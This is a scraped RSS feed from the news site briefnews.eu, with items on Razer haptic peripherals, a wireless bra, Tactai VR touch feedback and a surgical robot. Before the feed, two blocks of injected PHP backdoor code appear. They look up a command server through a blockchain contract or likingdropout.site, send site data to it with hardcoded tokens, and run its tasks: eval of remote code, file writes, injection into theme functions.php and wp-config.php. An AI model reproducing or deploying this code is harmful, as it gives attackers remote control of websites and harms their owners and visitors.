// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); feedback – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 08 Jan 2019 14:06:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png feedback – Brief News https://briefnews.eu 32 32 Razer announces a gaming monitor, haptic feedback PC gaming peripherals https://briefnews.eu/razer-announces-a-gaming-monitor-haptic-feedback-pc-gaming-peripherals/ https://briefnews.eu/razer-announces-a-gaming-monitor-haptic-feedback-pc-gaming-peripherals/#respond Tue, 08 Jan 2019 14:06:30 +0000 http://briefnews.eu/razer-announces-a-gaming-monitor-haptic-feedback-pc-gaming-peripherals/
A graphic showing Razer's HyperSense concept.

Enlarge / A graphic showing Razer’s HyperSense concept. (credit: Razer)

At this year’s CES, it sometimes seems like consumer electronics announcements are dominated by two trends: gaming gear and digital voice assistants. Gaming brand Razer made announcements related to both this week.

Arguably the most notable are HyperSense—a haptic feedback platform that makes PC peripherals like headphones, gaming chairs, and mice provide gaming controller-like feedback along with the audio in games—and the Raptor, Razer’s first gaming monitor designed in-house.

Razer HyperSense

Razer Chroma, an RGB lighting solution that syncs multi-colored lights across all your peripherals to match gameplay in certain games, is one of Razer’s key product offerings. HyperSense builds on that by applying the same sort of concept to haptic feedback—that is, a more sophisticated successor to the “rumble” technology from various game console controllers across the gaming ages.

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]]> https://briefnews.eu/razer-announces-a-gaming-monitor-haptic-feedback-pc-gaming-peripherals/feed/ 0 A lingerie startup used feedback from 6 million women to make the perfect wireless bra — and it works for larger cup sizes https://briefnews.eu/a-lingerie-startup-used-feedback-from-6-million-women-to-make-the-perfect-wireless-bra-and-it-works-for-larger-cup-sizes/ https://briefnews.eu/a-lingerie-startup-used-feedback-from-6-million-women-to-make-the-perfect-wireless-bra-and-it-works-for-larger-cup-sizes/#respond Sun, 15 Apr 2018 21:54:53 +0000 http://briefnews.eu/a-lingerie-startup-used-feedback-from-6-million-women-to-make-the-perfect-wireless-bra-and-it-works-for-larger-cup-sizes/ The Insider Picks team writes about stuff we think you’ll like. Business Insider has affiliate partnerships, so we get a share of the revenue from your purchase

LK Edit_000057870036True & Co

  • I’ve worn bras for over a decade, but True&Co‘s True Body collection has the only seamless bra I’ve tried that actually supports and lifts cup sizes of C-DDD without wires. 
  • They have a variety of styles in their True Body collection, but their V Neck Racerback, $ 58 is my favorite and ultimate weekday warrior.
  • The True Body collection sold out seven times after debut, and every bra falls within the range of $ 34 – $ 68.
  • Shop True&Co best-sellers directly, or take a detailed Fit Test here, which uses fit data from nearly 6 million women to make their designs smarter and recommendations more precise. 

Like most people who regularly navigate Facebook, I’ve grown a bit suspicious of all the ads chasing me.

See the rest of the story at Business Insider

See Also:

SEE ALSO: These photos and early reviews show why Everlane’s brand-new underwear line is going to be a smash success

]]> https://briefnews.eu/a-lingerie-startup-used-feedback-from-6-million-women-to-make-the-perfect-wireless-bra-and-it-works-for-larger-cup-sizes/feed/ 0 Razer suspends ‘Paid to Play’ rewards over negative feedback https://briefnews.eu/razer-suspends-paid-to-play-rewards-over-negative-feedback/ https://briefnews.eu/razer-suspends-paid-to-play-rewards-over-negative-feedback/#respond Fri, 09 Feb 2018 19:58:37 +0000 http://briefnews.eu/razer-suspends-paid-to-play-rewards-over-negative-feedback/

Last March, Razer put forth a way to earn points that could be redeemed for the company’s peripherals like keyboards and mice. All you needed to do was to launch games via Razer’s Cortex desktop software and play up to five hours of eligible games each day. Unfortunately, this “Paid to Play” initiative is now at an end, at least temporarily. Razer will suspend the program beginning on March 1, based on what the company calls negative feedback from the community.

It’s unclear what specific complaints Razer is responding to, though one forum member hints that people were re-selling gear earned with the virtual zSilver currency on Ebay.

The virtual currency itself isn’t going away, though. You can still earn zSilver if you grab Razer gear using zGold (another virtual currency that you buy with real money), actively contribute on Razer Insider, log in daily on Razer Cortex, sync your Steam account with Cortex: Deals and subscribe to the deals newsletters. The suspension of the Paid to Play program may continue indefinitely if the company cannot “develop ways to make it rewarding and beneficial for all,” wrote the Razer forum administrator.

Source: Razer

]]> https://briefnews.eu/razer-suspends-paid-to-play-rewards-over-negative-feedback/feed/ 0 Tactai wants to bring better touch feedback to virtual reality https://briefnews.eu/tactai-wants-to-bring-better-touch-feedback-to-virtual-reality/ https://briefnews.eu/tactai-wants-to-bring-better-touch-feedback-to-virtual-reality/#respond Sun, 22 Oct 2017 14:15:41 +0000 http://briefnews.eu/tactai-wants-to-bring-better-touch-feedback-to-virtual-reality/

Virtual reality and augmented reality have delivered realistic visuals and sound to virtual experiences, but they’re completely lacking a sense of touch. Tactai wants to change that with a new kind of multi-modal touch feedback technology.

If it works, it could lead to a new generation of VR and AR headsets that can a new sense to immersive experiences and games. Tactai’s technology goes further than past touch feedback, or haptic, devices, since it gives you a much more fine-grained sense of what you’re touching, based on a demo I saw. Tactai hopes to be part of the standard technologies in the next set of VR devices.

“We want to bring a rich sense of touch into the digital world to empower our interactions in a unique way,” said Steven Domenikos, cofounder and CEO of Tactai, in an interview with GamesBeat.

Above: Steven Domenikos is CEO of Tactai.

Image Credit: Dean Takahashi

Waltham, Massachusetts-based Tactai has created software that shows off its “ultra high-fidelity haptics.” The technology is in its prototype stage, and the company is seeking partners to bring products to the market that can enhance our digital interactions. Domenikos believes the tech can be used in everything from smartphones to pen-based tablets to VR and AR hand controllers.

In the demo, which you can see in the video, Domenikos used a standard pen input device to allow me to feel the texture of objects that I touched. When he activated the software associated with a stone tile, I moved the pen over the screen showing the stone tile. It felt rough and bumpy, just like real stone. The pen vibrated and enabled me to feel the sensations.

Above: Tactai uses a pen to demo the feeling of a stone tile.

Image Credit: Tactai

He also showed me the feeling of ABS plastic as well. It can give you the sensation of pressure and counter pressure. You can feel temperature, softness, hardness, smoothness, curvature, and texture as you do in the real world. Tactai has created algorithms to replay fine patterns, softness, textures, pressure, heat, cold, friction, and other sensations in a finger-size device. When I tried the demo, I could feel how the sandpaper felt different from the glass, and the stone felt different from the plastic.

He also showed me a fingertip wearable device that Tactai built so you can touch and feel and manipulate an object in VR. When you combine these feelings with visuals and sound (and maybe one day smell and taste), you’ll get a much richer sense of a digital world. Without touch, the VR worlds that you experience can feel hollow, Domenikos said. Touch creates a much better sense of “presence,” or the feeling you have been transported to another reality.

“Without touch, VR is interesting, but touch can make it compelling,” Domenikos said. “What will make the experiences variable is the type of hardware.”

Above: With this device, you can put your finger into VR and feel things.

Image Credit: Tactai

The company is delivering the software that it will license to partners, and it has built reference hardware that can serve as the foundations for the products that the partners are creating. Tactai creates a new material by scanning it into digital form and then it creates a waveform that mimics mother nature.

“That is all done with software,” he said. “We take into consideration the real-time movements of the user. If you press hard, it feels different. If you press soft, it feels another way.”

Domenikos believes that compelling immersive AR and VR experiences can be created for gaming, e-commerce, training, film, and education. Tactai already worked with Ericsson to co-develop a tactile VR experience for mobile devices at the CES tech trade show in Las Vegas in January. Tactai is working with an online retailer, a digital media distributor, and a credit card processor. Of course, the ultimate customers could be the porn companies.

“When I give a demo, people always talk about that,” Domenikos said. “We’re all imaginative people.”

Domenikos hopes a shared VR experience will be possible, like playing a Jenga tabletop blocks game with a friend.

“What’s going to drive this is the ability to have a more shared, immersive experience,” he said.

Domenikos started the company with his cofounder Katherine Kuchenbecker, a professor at the University of Pennsylvania, in 2014, and they formally incorporated in January 2016. Their work was based on work on haptics technology that went back 15 years.

Rivals include Immersion, Tactical Haptics, and Ultrahaptics. But Tactai wants to create fine-grained sensations which can be localized to particular areas. It can give you a sense of touching a keyboard when you tap a part of a touchscreen on a smartphone or a tablet. Right now, phones have haptics actuators that are meant only to vibrate a smartphone. That’s very low fidelity and coarse-grained touch feedback, Domenikos said.

“We can now deliver a very rich sensation that can be used in  a variety of sensations,” Domenikos said.

The company has about 15 employees and contractors in the Boston area and Montreal. Revenues will start coming this year from licenses.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]> https://briefnews.eu/tactai-wants-to-bring-better-touch-feedback-to-virtual-reality/feed/ 0 FDA-approved robot assistant gives surgeons force feedback https://briefnews.eu/fda-approved-robot-assistant-gives-surgeons-force-feedback/ https://briefnews.eu/fda-approved-robot-assistant-gives-surgeons-force-feedback/#respond Sun, 15 Oct 2017 05:57:07 +0000 http://briefnews.eu/fda-approved-robot-assistant-gives-surgeons-force-feedback/

Surgeons are trained to accurately operate on you when you need it, but robotic assistants could help them get to hard-to-reach areas and boost their accuracy even more. Senhance, the robotic surgical assistant that has just earned the FDA’s approval, was designed to accomplish both of those. The machine can help surgeons carry out minimally invasive surgery — in fact, the FDA has approved its use because after a pilot test involving 150 patients, the agency has concluded that Senhance is as accurate as the da Vinci robot when it came to gynecological and colorectal procedures.

